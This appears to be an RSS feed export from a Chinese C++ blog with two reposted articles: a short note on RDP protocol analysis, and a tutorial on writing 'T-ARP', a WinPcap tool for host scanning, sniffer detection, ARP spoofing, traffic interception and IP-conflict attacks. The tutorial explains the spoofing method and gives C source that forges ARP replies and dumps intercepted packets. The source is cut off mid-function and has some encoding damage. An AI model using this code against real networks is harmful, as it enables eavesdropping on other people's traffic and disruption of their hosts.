﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-iniwf-随笔分类-网络通信</title><link>http://www.cppblog.com/iniwf/category/9828.html</link><description>风是温柔的，雨是伤心的，云是快乐的，月是多情的，爱是迷失的，恋是醉人的，情是难忘的，天是长久的，地是永恒的</description><language>zh-cn</language><lastBuildDate>Tue, 11 Aug 2009 03:49:39 GMT</lastBuildDate><pubDate>Tue, 11 Aug 2009 03:49:39 GMT</pubDate><ttl>60</ttl><item><title>RDP协议简要分析</title><link>http://www.cppblog.com/iniwf/archive/2009/08/06/92381.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Thu, 06 Aug 2009 01:42:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/08/06/92381.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/92381.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/08/06/92381.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/92381.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/92381.html</trackback:ping><description><![CDATA[转自：<font  face="song" size="6"><span  style="border-collapse: collapse; font-size: 19px; font-weight: 800;">http://blog.chinaunix.net/u/23353/showart_1856736.html</span></font><div><font  face="song" size="6"><span  style="border-collapse: collapse; font-size: 19px; font-weight: 800;"><span  style="font-size: 12px; font-weight: normal; "><table border="0" cellspacing="0" cellpadding="0" width="100%" style="border-collapse: collapse; word-wrap: break-word; "><tbody><tr style="font: normal normal normal 12px/normal song, Verdana; "><td height="25" align="center" style="font: normal normal normal 12px/normal song, Verdana; "><font color="#02368D" style="font-size: 14pt; "><strong><strong style="color: black; background-color: rgb(255, 255, 102); ">RDP</strong><strong style="color: black; background-color: rgb(160, 255, 255); ">协议</strong>简要<strong style="color: black; background-color: rgb(153, 255, 153); ">分析</strong></strong></font><br style="font: normal normal normal 12px/normal song, Verdana; "></td></tr><tr style="font: normal normal normal 12px/normal song, Verdana; "><td bgcolor="#D2DEE2" height="1" style="font: normal normal normal 12px/normal song, Verdana; "></td></tr><tr style="font: normal normal normal 12px/normal song, Verdana; "><td bgcolor="#FFFFFF" height="1" style="font: normal normal normal 12px/normal song, Verdana; "></td></tr><tr style="font: normal normal normal 12px/normal song, Verdana; "><td align="center" style="font: normal normal normal 12px/normal song, Verdana; "><table border="0" cellspacing="0" cellpadding="0" width="100%" style="border-collapse: collapse; word-wrap: break-word; "><tbody><tr style="font: normal normal normal 12px/normal song, Verdana; "><td width="100%" style="font: normal normal normal 12px/normal song, Verdana; "><div id="art" width="100%" style="margin-top: 15px; margin-right: 15px; margin-bottom: 15px; margin-left: 15px; "><div>上周六简要<strong style="color: black; background-color: rgb(153, 255, 153); ">分析</strong>了一下<strong style="color: black; background-color: rgb(255, 255, 102); ">RDP</strong><strong style="color: black; background-color: rgb(160, 255, 255); ">协议</strong>,在windows server 2008上对其进行了扩展，有了remote app，在其他系统上可以远程访问windows server 2008的应用程序，只需要一个简单的配置程序，并在server上注册访问。</div><div>其实微软真是很厉害阿，有了remote app这种 方式，移动设备完全可以利用wifi接入网络，这样可以弥补移动设备计算能力相对弱的问题，在复杂的计算由server完成，然后把结果(包括音频、视频等)传输给终端设备，也就是<strong style="color: black; background-color: rgb(255, 255, 102); ">rdp</strong>&nbsp;client设备，不错的解决方案。</div><div>写了一个简要的代码<strong style="color: black; background-color: rgb(153, 255, 153); ">分析</strong>笔记。</div><div><table bordercolor="#dddddd" cellspacing="0" cellpadding="0" width="360" align="center" border="1" style="border-collapse: collapse; "><tbody><tr height="60" style="font: normal normal normal 12px/normal song, Verdana; "><td align="middle" width="60" style="font: normal normal normal 12px/normal song, Verdana; "><img alt="" src="http://control.cublog.cn/fileicon/pdf.gif" border="0"></td><td style="font: normal normal normal 12px/normal song, Verdana; "><table cellspacing="0" cellpadding="0" width="100%" border="0" style="border-collapse: collapse; "><tbody><tr height="20" style="font: normal normal normal 12px/normal song, Verdana; "><td align="middle" width="40" style="font: normal normal normal 12px/normal song, Verdana; ">文件:</td><td style="font: normal normal normal 12px/normal song, Verdana; ">Rdesktop<strong style="color: black; background-color: rgb(160, 255, 255); ">协议</strong>简要<strong style="color: black; background-color: rgb(153, 255, 153); ">分析</strong>.pdf</td></tr><tr height="20" style="font: normal normal normal 12px/normal song, Verdana; "><td align="middle" width="40" style="font: normal normal normal 12px/normal song, Verdana; ">大小:</td><td style="font: normal normal normal 12px/normal song, Verdana; ">168KB</td></tr><tr height="20" style="font: normal normal normal 12px/normal song, Verdana; "><td align="middle" width="40" style="font: normal normal normal 12px/normal song, Verdana; ">下载:</td><td style="font: normal normal normal 12px/normal song, Verdana; "><a href="http://blogimg.chinaunix.net/blog/upfile2/090309190705.pdf" style="text-decoration: underline; color: rgb(0, 68, 182); ">下载</a></td></tr></tbody></table></td></tr></tbody></table></div><div><br></div><div>下面为参考信息：<br style="font: normal normal normal 12px/normal song, Verdana; ">&nbsp;<br style="font: normal normal normal 12px/normal song, Verdana; ">1. RDesktop网站&nbsp;<a href="http://www.rdesktop.org/" style="text-decoration: underline; color: rgb(0, 68, 182); ">http://www.rdesktop.org/</a>&nbsp;<br style="font: normal normal normal 12px/normal song, Verdana; ">&nbsp;<br style="font: normal normal normal 12px/normal song, Verdana; ">2.&nbsp; 这里有如何配置RemoteAPP的说明<br style="font: normal normal normal 12px/normal song, Verdana; ">&nbsp;&nbsp;&nbsp;<a href="http://servers.pconline.com.cn/skills/0711/1168847_4.html" style="text-decoration: underline; color: rgb(0, 68, 182); ">http://servers.pconline.com.cn/skills/0711/1168847_4.html</a></div></div></td></tr></tbody></table></td></tr></tbody></table></span></span></font></div><img src ="http://www.cppblog.com/iniwf/aggbug/92381.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-08-06 09:42 <a href="http://www.cppblog.com/iniwf/archive/2009/08/06/92381.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>详谈调用winpcap驱动写arp多功能工具</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79595.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 08:28:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79595.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79595.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79595.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79595.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79595.html</trackback:ping><description><![CDATA[转自<a href="http://www.vckbase.com/document/viewdoc/?id=649">http://www.vckbase.com/document/viewdoc/?id=649</a><br><br>
<p align=center><strong>详谈调用winpcap驱动写arp多功能工具</strong><br>作者：<a href="http://www.vckbase.com/document/viewdoc/TOo2y@safechina.net"><u><font color=#0000ff>TOo2y</font></u></a> </p>
<p><a href="http://www.vckbase.com/document/viewdoc/?id=649#A1"><font color=#800080><u>一 winpcap驱动简介</u></font></a><br><a href="http://www.vckbase.com/document/viewdoc/?id=649#A2"><font color=#800080><u>二 Packet.dll相关数据结构及函数</u></font></a><br><a href="http://www.vckbase.com/document/viewdoc/?id=649#A3"><font color=#800080><u>三 T-ARP功能及原理介绍</u></font></a><br><a href="http://www.vckbase.com/document/viewdoc/?id=649#A4"><font color=#800080><u>四 T-ARP主要代码分析</u></font></a><br><a href="http://www.vckbase.com/document/viewdoc/?id=649#A5"><u><font color=#800080>五 T-ARP源代码</font></u></a><br><br><u><font color=#800080><img height=16 src="http://www.vckbase.com/document/image/paragraph.gif" width=14></font></u><a name=A1></a> <strong>一、winpcap驱动简介</strong><br><br>winpcap(windows packet capture)是windows平台下一个免费，公共的网络访问系统。<br>(编者注：WinpCap开发包可以到以下两个网址下载: (1)<a href="http://winpcap.polito.it/" target=_blank><u><font color=#0000ff>http://winpcap.polito.it/</font></u></a> , (2)<a href="http://www.vckbase.com/tools" target=_blank><u><font color=#0000ff>VC知识库工具栏目</font></u></a> )<br><br>开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它提供了以下的各项功能：<br>1&gt; 捕获原始数据报，包括在共享网络上各主机发送/接收的以及相互之间交换的数据报；<br>2&gt; 在数据报发往应用程序之前，按照自定义的规则将某些特殊的数据报过滤掉；<br>3&gt; 在网络上发送原始的数据报；<br>4&gt; 收集网络通信过程中的统计信息。</p>
<p>winpcap的主要功能在于独立于主机协议（如TCP-IP)而发送和接收原始数据报。也就是说，winpcap不能阻塞，过滤或控制其他应用程序数据报的发收，它仅仅只是监听共享网络上传送的数据报。因此，它不能用于QoS调度程序或个人防火墙。</p>
<p>目前，winpcap开发的主要对象是windows NT/2000/XP，这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me，并且M$也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似，只是在某些实现上有点差异，比如说9x只支持ANSI编码，而NT系统则提倡使用Unicode编码。</p>
<p>本文讨论的是packet.dll所提供的各种函数，因为它们完全可以实现本文所希望的各项要求。但是如果你有其他特别的或更高级的要求，winpcap也提供了另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供了一种更简单，直接，有力的方法来更好的利用编程环境。比如捕获一个数据报，创建一个数据报过滤装置或将监听到的数据报转存到某个文件等，wpcap.dll都会为你提供更加安全的实现方法。</p>
<p><strong><img height=16 src="http://www.vckbase.com/document/image/paragraph.gif" width=14><a id=A2 name=A2></a> 二、Packet.dll相关数据结构及函数</strong> <br><br>本文的目的之一在于介绍如何利用winpcap驱动写ARP工具，因此有必要介绍一些相关的数据结构和函数，要不然看着一行行代码和函数，也许会有些不知所云。</p>
<p>首先介绍一些相关的数据结构：<br>1. typedef struct _ADAPTER ADAPTER //描述一个网络适配器；<br>2. typedef struct _PACKET PACKET //描述一组网络数据报的结构；<br>3. typedef struct NetType NetType //描述网络类型的数据结构；<br>4. typedef struct npf_if_addr npf_if_addr //描述一个网络适配器的ip地址；<br>5. struct bpf_hdr //数据报头部；<br>6. struct bpf_stat //当前捕获数据报的统计信息。</p>
<p>下面，将介绍T-ARP用到的各个函数，他们都是在packet.dll中定义的：<br>1&gt; LPPACKET PacketAllocatePacket(void)<br>如果运行成功，返回一个_PACKET结构的指针，否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数，接收来自驱动的网络数据报。</p>
<p>2&gt; VOID PacketCloseAdapter(LPADAPTER lpAdapter)<br>关闭参数中提供的网络适配器，释放相关的ADAPTER结构。</p>
<p>3&gt; VOID PacketFreePacket(LPPACKET lpPacket)<br>释放参数提供的_PACKET结构。</p>
<p>4&gt; BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)<br>返回可以得到的网络适配器列表及描述。</p>
<p>5&gt; BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)<br>返回某个网络适配器的全面地址信息。<br>其中npf_ip_addr结构包含：IPAddress,SubnetMask,Broadcast<br>IPAddress: ip地址<br>SubnetMask: 子网掩码<br>Broadcast: 广播地址</p>
<p>6&gt; BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)<br>返回某个网络适配器的MAC类型。<br>NetType结构里包含了LinkSpeed(速度）和LinkType(类型）。其中LinkType包含以下几种情况：<br>NdisMedium802_3: Ethernet(802.3)<br>NdisMediumWan: WAN<br>NdisMedium802_5: Token Ring(802.5)<br>NdisMediumFddi: FDDI<br>NdisMediumAtm: ATM<br>NdisMediumArcnet878_2: ARCNET(878.2)</p>
<p>7&gt; BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)<br>返回几个关于当前捕获报告的统计信息。<br>其中bpf_stat结构包含：bs_recv, bs_drop,ps_ifdrop,bs_capt<br>bs_recv: 从网络适配器开始捕获数据报开始所接收到的所有数据报的数目，包括丢失的数据报；<br>bs_drop: 丢失的数据报数目。在驱动缓冲区已经满时，就会发生数据报丢失的情况。</p>
<p>8&gt; PCHAR PacketGetVersion()<br>返回关于dll的版本信息。</p>
<p>9&gt; VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)<br>初始化一个_PACKET结构。</p>
<p>10&gt; LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)<br>打开一个网络适配器。</p>
<p>11&gt; BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)<br>从NPF驱动程序读取网络数据报及统计信息。<br>数据报编码结构： |bpf_hdr|data|Padding|bpf_hdr|data|Padding|</p>
<p>12&gt; BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)<br>发送一个或多个数据报的副本。</p>
<p>13&gt; BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)<br>设置捕获数据报的内核级缓冲区大小。</p>
<p>14&gt; BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)<br>为接收到的数据报设置硬件过滤规则。<br>以下为一些典型的过滤规则：<br>NDIS_PACKET_TYPE_PROMISCUOUS: 设置为混杂模式，接收所有流过的数据报；<br>NDIS_PACKET_TYPE_DIRECTED: 只有目的地为本地主机网络适配器的数据报才会被接收；<br>NDIS_PACKET_TYPE_BROADCAST: 只有广播数据报才会被接收；<br>NDIS_PACKET_TYPE_MULTICAST: 只有与本地主机网络适配器相对应的多播数据报才会被接收；<br>NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收；<br>NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收。</p>
<p>15&gt; BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)<br>设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数。</p>
<p>16&gt; BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)<br>设置在接收到一个数据报后&#8220;休息&#8221;的时间。<br><br>以上就是T-ARP所调用的各个函数，它包含了packet.dll里的大部分函数。如果你想更深层的了解winpcap,请访问相关网站，主页地址： http://winpcap.polito.it</p>
<p><strong><img height=16 src="http://www.vckbase.com/document/image/paragraph.gif" width=14><a id=A3 name=A3></a> 三、T-ARP功能及原理介绍</strong><br><br><strong>准备工作：</strong> <br>1. 安装winpcap驱动，目前最新的版本为winpcap_3.0_alpha, 稳定版本为winpcap_2.3；<br>2. 使用ARP欺骗功能前，必须启动ip路由功能，修改(添加)注册表选项：<br>　　 　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1　</p>
<p><strong>选项: </strong><br>-m 主机扫描，获得局域网内指定ip段中存活主机的ip地址和mac地址；<br>-a 反嗅探扫描，获得局域网内指定ip段中嗅探主机的ip地址和mac地址；<br>-s ARP欺骗，欺骗局域网内指定的两台主机，使其相互发送接收的数据报均通过本地主机；<br>网络嗅探，如果你选择欺骗的两台主机均是本地主机，那么将会监听到所有流过本地主机的数据报；<br>IP冲突，如果你选择欺骗的两台主机是同一台非本地主机，那么就会发起ip冲突攻击；<br>-r 重置被欺骗主机，使被欺骗的两台主机恢复正常的工作状态。</p>
<p><strong>原理及实现过程：</strong><br>无论什么选项，第一件事就是获得本地主机的mac地址及相关网络设置。我们以一个特殊的ip地址(112.112.112.112)向本地主机发送一个ARP Request(ARP请求)数据报，当本地主机接收到后，就会发送一个ARP Reply(ARP应答)数据报来回应请求，这样我们就可以获得本地主机的mac地址了。至于相关的网络设置可以通过PacketGetNetInfoEx()和PacketGetNetType()获得。</p>
<p>-m 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送广播(ff:ff:ff:ff:ff:ff)ARP Request数据报，存活的主机就会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。因为在很多网关上都对ARP Request做了限制--非内网ip发送的ARP Request数据报不会得到网关的回应，如果你用内网的其他某台主机的ip来发送ARP Request数据报，如果填写的mac地址和相应的ip不合，就会出现ip冲突。所以最好还是用自己的ip和mac地址来发送请求。</p>
<p>-a 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:ff:ff:ff:ff:fe)的ARP Request数据报，只有正在嗅探的主机才会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。嗅探中的win2000系统还会对16位伪广播地址(ff:ff:00:00:00:00)做出回应；而嗅探中的win95/98/me不仅会回应16位伪广播地址，而且也会回应8位伪广播地址(ff:00:00:00:00:00)，而*NIX系统对各种广播地址所做出的反应却有些不同。在此我们选择31位伪广播地址，是因为绝大多数的系统在嗅探时都会对它做出回应。而正常状况下的各种系统，都不会对31位伪广播地址做出回应。</p>
<p>-s (ARP欺骗spoof) 需要强调的是在某些局域网(如以太网)内，数据报的发送与接收是基于硬件地址的，这是我们实现欺骗的基础。首先获得指定的两台主机(假设为 A 和 B)的mac地址，然后向A发送ARP Reply数据报，其中的源ip地址为B的ip地址，但是源mac地址却是本地主机的mac地址，这样主机A就会认为主机B的mac地址是本地主机的mac地址，所以主机A发送到主机B的数据报都发送到本地主机了。同理向主机B发送ARP Reply数据报，通知它主机A的mac地址为本地主机的mac地址。这样主机A和主机B就会把目的主机的mac地址理解为本地主机的mac地址，于是他们之间相互发送的数据报都首先到达了本地主机，而先前我们已经将本地主机设置了ip路由功能，系统会自动将数据报转发到真正的目的主机。其间，你就可以监听它们通信的各种数据报了。</p>
<p>-s (网络嗅探sniff) 如果指定的两个目的主机均为本地主机，那么就只是将网络适配器设置为混杂模式，这样就可以监听到流过本地主机网络适配器的各种数据。</p>
<p>-s (ip冲突shock） 如果你选择欺骗的两台主机是同一台非本地主机(假如是主机C)，那么就会不断地向主机C发送ARP Reply数据报，报文中的源ip地址就是主机C的ip地址，但是源mac地址却是本地主机的mac地址，因此主机C就会发现有另一台主机同时拥有和自己相同的ip，这就是ip冲突攻击。如果是非xp系统,都会跳出一个ip冲突的提示窗口，而xp系统也会有类似的警告。但是请注意，在主机C的系统事件查看器中，会留下本地主机的mac地址与之冲突的恶心记录，所以你最好不要滥用这个功能。</p>
<p>-r 在实现了ARP欺骗的情况下，向主机A和B发送ARP Reply数据报，通知主机A(B)注意主机B(A)的mac地址为主机B(A)自己的mac地址，这样主机A和B就会更新他们的ARP缓存，实现正常的数据通信。<br><br><strong><img height=16 src="http://www.vckbase.com/document/image/paragraph.gif" width=14><a id=A4 name=A4></a> 四、T-ARP主要代码分析</strong><br><br><strong>1&gt; 自定义函数：</strong><br>int getmine() //发送ARP Request数据报，请求获得本地主机的mac地址；<br>void getdata(LPPACKET lp,int op) //分类处理接收到的数据报；<br>DWORD WINAPI sniff(LPVOID no) //将网络适配器设置为混杂模式，接收所有流过的数据报；<br>DWORD WINAPI sendMASR(LPVOID no) //发送ARP Request数据报，请求获得指定ip的mac地址；<br>DWORD WINAPI sendSR(LPVOID no) //发送ARP Reply进行ARP欺骗，或是更新主机的ARP缓存。</p>
<p><strong>2&gt; 主要代码分析</strong><br>printf("\nLibarary Version: %s",PacketGetVersion()); //输出dll的版本信息；</p>
<p>PacketGetAdapterNames((char *)adaptername,&amp;adapterlength) //获得本地主机的网络适配器列表和描述；</p>
<p>lpadapter=PacketOpenAdapter(adapterlist[open-1]); //打开指定的网络适配器；</p>
<p>PacketGetNetType(lpadapter,&amp;ntype) //获得网络适配器的MAC类型；</p>
<p>PacketGetNetInfoEx(adapterlist[open-1],&amp;ipbuff,&amp;npflen) //获得指定网络适配器的相关信息；</p>
<p>rthread=CreateThread(NULL,0,sniff,(LPVOID)&amp;opti,0,&amp;threadrid); //创建一个新线程来监听网络数据报；</p>
<p>PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS) //将网络适配器设置为混杂模式，这样才可以监听流过本地主机的数据报；<br>PacketSetBuff(lpadapter,500*1024) //自定义网络适配器的内核缓存的大小为 500*1024；</p>
<p>PacketSetReadTimeout(lpadapter,1) //设置接收一个数据报后等待的时间为1毫秒；</p>
<p>PacketReceivePacket(lpadapter,lppacketr,TRUE) //在设置为混杂模式后，接收所有的数据报；</p>
<p>sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);<br>sthread=CreateThread(NULL,0,sendSR,(LPVOID)&amp;opti,0,&amp;threadsid); //创建一个新线程发送特定的ARP数据报</p>
<p>PacketSetNumWrites(lpadapter,2) //在发送一个数据报时，重复发送两次；</p>
<p>PacketSendPacket(lpadapter,lppackets,TRUE) //发送自定义数据报；<br><br>WaitForSingleObject(sthread,INFINITE); //等待发送ARP数据报的线程结束；</p>
<p>PacketGetStats(lpadapter,&amp;stat) //获得网络适配器的统计信息；</p>
<p><strong><img height=16 src="http://www.vckbase.com/document/image/paragraph.gif" width=14><a id=A5 name=A5></a> 五、T-ARP源代码</strong> </p>
<pre>#include "packet32.h"
#include "ntddndis.h"
#include &lt;stdio.h&gt;
#include &lt;conio.h&gt;
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")
#define ETH_IP       0x0800
#define ETH_ARP      0x0806
#define ARP_REQUEST  0x0001
#define ARP_REPLY    0x0002
#define ARP_HARDWARE 0x0001
#define max_num_adapter  10
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char   eh_dst[6];
unsigned char   eh_src[6];
unsigned short  eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr
{
unsigned short  arp_hdr;
unsigned short  arp_pro;
unsigned char   arp_hln;
unsigned char   arp_pln;
unsigned short  arp_opt;
unsigned char   arp_sha[6];
unsigned long   arp_spa;
unsigned char   arp_tha[6];
unsigned long   arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct iphdr
{
unsigned char  h_lenver;
unsigned char  tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char  ttl;
unsigned char  proto;
unsigned short checksum;
unsigned int   sourceip;
unsigned int   destip;
}IPHDR,*PIPHDR;
#pragma pack(push)
LPADAPTER lpadapter=0;
LPPACKET  lppacketr,lppackets;
ULONG     myip,firstip,secondip;
UCHAR     mmac[6]={0},fmac[6]={0},smac[6]={0};
BOOL      mm=FALSE,fm=FALSE,sm=FALSE;
FILE      *fp;
char      adapterlist[max_num_adapter][1024];
char      msg[50];
int       num=0;
void start()
{
printf("T-ARP --- ARP Tools, by TOo2y(??), 11-9-2002\n");
printf("Homepage: www.safechina.net\n");
printf("E-mail: TOo2y@safechina.net\n");
return ;
}
void usage()
{
printf("\nUsage: T-ARP  [-m|-a|-s|-r]  firstip  secondip  \n\n");
printf("Option:\n");
printf("   -m  mac        Get the mac address from firstip to secondip\n");
printf("   -a  antisniff  Get the sniffing host from firstip to secondip\n");
printf("   -s  spoof      1&gt; Spoof the host between firstip and secondip\n");
printf("       sniff      2&gt; Sniff if firstip == secondip == your own ip\n");
printf("       shock      3&gt; Shock if firstip == secondip != your own ip\n");
printf("   -r  reset      Reset the spoofed host work normally\n\n");
printf("Attention:\n");
printf("    1&gt; You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");
printf("    2&gt; HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter == 0x1\n\n");
return ;
}
int getmine()
{
char   sendbuf[1024];
int    k;
ETHDR  eth;
ARPHDR arp;
for(k=0;k&lt;6;k++)
{
eth.eh_dst[k]=0xff;
eth.eh_src[k]=0x82;
arp.arp_sha[k]=0x82;
arp.arp_tha[k]=0x00;
}
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_tpa=htonl(myip);
arp.arp_spa=inet_addr("112.112.112.112");
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,&#240;,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
return -1;
}
return 0;
}
void getdata(LPPACKET lp,int op)
{
ULONG  ulbytesreceived,off,tlen,ulen,ulLines;
ULONG  j,k;
ETHDR  *eth;
ARPHDR *arp;
PIPHDR ip;
char   *buf,*pChar,*pLine,*base;
struct bpf_hdr      *hdr;
struct sockaddr_in  sin;
ulbytesreceived=lp-&gt;ulBytesReceived;
buf=(char *)lp-&gt;Buffer;
off=0;
while(off&lt;ulbytesreceived)
{
if(kbhit())
{
return ;
}
hdr=(struct bpf_hdr *)(buf+off);
off+=hdr-&gt;bh_hdrlen;
pChar=(char *)(buf+off);
base=pChar;
off=Packet_WORDALIGN(off+hdr-&gt;bh_caplen);
eth=(PETHDR)pChar;
arp=(PARPHDR)(pChar+sizeof(ETHDR));
if(eth-&gt;eh_type==htons(ETH_IP))
{
ip=(PIPHDR)(pChar+sizeof(ETHDR));
if(fm &amp;&amp; sm &amp;&amp; (op==3))
{
if((((ip-&gt;sourceip!=htonl(myip)) &amp;&amp; (ip-&gt;destip!=htonl(myip))
&amp;&amp; !strcmp((char *)eth-&gt;eh_dst,(char *)mmac))
&amp;&amp; ((ip-&gt;sourceip==htonl(firstip)) || (ip-&gt;destip==htonl(firstip))
|| (ip-&gt;sourceip==htonl(secondip)) || (ip-&gt;destip==htonl(secondip))))
|| ((firstip==myip) &amp;&amp; (secondip==myip)))
{
memset(msg,0,sizeof(msg));
sin.sin_addr.s_addr=ip-&gt;sourceip;
printf("[IP:]%16s ---&gt; [IP:]",inet_ntoa(sin.sin_addr));
strcpy(msg,inet_ntoa(sin.sin_addr));
strcat(msg+15," ---&gt; ");
sin.sin_addr.s_addr=ip-&gt;destip;
printf("%16s\n",inet_ntoa(sin.sin_addr));
strcat(msg+23,inet_ntoa(sin.sin_addr));
fseek(fp,-2,1);
fwrite("\r\n\r\n\r\n",6,1,fp);
fwrite(msg,38,1,fp);
fwrite("\r\n",2,1,fp);
ulLines=(hdr-&gt;bh_caplen+15)/16;
for(k=0;k&lt;ulLines;k++)
{
pLine=pChar;
printf("%08lx : ",pChar-base);
ulen=tlen;
ulen=(ulen&gt;16) ? 16 : ulen;
tlen-=ulen;
for(j=0;j&lt;ulen;j++)
printf("%02x ",*(BYTE *)pChar++);
if(ulen&lt;16)
printf("%*s",(16-ulen)*3," ");
pChar=pLine;
for(j=0;j&lt;ulen;j++,pChar++)
{
printf("%c",isprint(*pChar)? *pChar : ''.'');
fputc(isprint(*pChar) ? *pChar : ''.'',fp);
}
printf("\n");
}
printf("\n");
fwrite("\r\n",2,1,fp);
}
}
continue;
}
else if((eth-&gt;eh_type==htons(ETH_ARP)) &amp;&amp; (arp-&gt;arp_opt==htons(ARP_REPLY)))
{
sin.sin_addr.s_addr=arp-&gt;arp_spa;
if(sin.sin_addr.s_addr==htonl(myip))
{
memcpy(mmac,eth-&gt;eh_src,6);
if(!mm)
{
printf("\t");
for(k=0;k&lt;5;k++)
printf("%.2x-",eth-&gt;eh_src[k]);
printf("%.2x\n",eth-&gt;eh_src[5]);
switch(op)
{
case 1:
printf("\n[MAC LIST:]");
break;
case 2:
printf("\n[Sniffing Host:]");
break;
default:
break;
}
}
mm=TRUE;
}
if((op==1) || (op==2))
{
printf("\n[IP:] %.16s\t[MAC:] ",inet_ntoa(sin.sin_addr));
for(k=0;k&lt;5;k++)
printf("%.2x-",eth-&gt;eh_src[k]);
printf("%.2x",eth-&gt;eh_src[5]);
}
else if(((op==3) || (op==4)) &amp;&amp; (!fm || !sm))
{
if(arp-&gt;arp_spa==htonl(firstip))
{
memcpy(fmac,eth-&gt;eh_src,6);
fm=TRUE;
}
if(arp-&gt;arp_spa==htonl(secondip))
{
memcpy(smac,eth-&gt;eh_src,6);
sm=TRUE;
}
}
}
}
return ;
}
DWORD WINAPI sniff(LPVOID no)
{
int      option=*(int *)no;
char     recvbuf[1024*250];
if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
{
printf("Warning: Unable to set the adapter to promiscuous mode\n");
}
if(PacketSetBuff(lpadapter,500*1024)==FALSE)
{
printf("PacketSetBuff Error: %d\n",GetLastError());
return -1;
}
if(PacketSetReadTimeout(lpadapter,1)==FALSE)
{
printf("Warning: Unable to set the timeout\n");
}
if((lppacketr=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket receive Error: %d\n",GetLastError());
return -1;
}
PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));
while(!kbhit())
{
if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
{
return -1;
}
getdata(lppacketr,option);
}
return 0;
}
DWORD WINAPI sendMASR(LPVOID no)
{
int    fun=*(int *)no;
int    k,stimes;
char   sendbuf[1024];
ETHDR  eth;
ARPHDR arp;
if(fun&lt;1 || fun&gt;4)
{
return -1;
}
else
{
for(k=0;k&lt;6;k++)
{
eth.eh_dst[k]=0xff;
arp.arp_tha[k]=0x00;
}
if(fun==2)
eth.eh_dst[5]=0xfe;
}
memcpy(eth.eh_src,mmac,6);
eth.eh_type=htons(ETH_ARP);
